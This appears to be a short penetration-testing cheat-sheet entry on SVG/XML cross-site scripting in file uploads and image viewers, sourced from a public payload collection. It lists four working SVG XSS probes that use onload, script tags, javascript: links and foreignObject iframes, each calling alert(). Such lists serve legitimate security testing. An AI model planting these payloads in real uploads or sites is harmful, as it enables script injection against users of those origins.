SVG / XML XSS
Uploads and image viewers that serve SVG as image/svg+xml from a cookied origin. Also markup inside PDF/XML.
Tags: svg, xss, upload
Controlled probes
<?xml version="1.0"?><svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"><svg><script>alert(document.domain)</script></svg><svg><a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:alert(1)"><rect width="100" height="100"/></a></svg><svg><foreignObject><iframe src="javascript:alert(1)"></iframe></foreignObject></svg>
Source: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection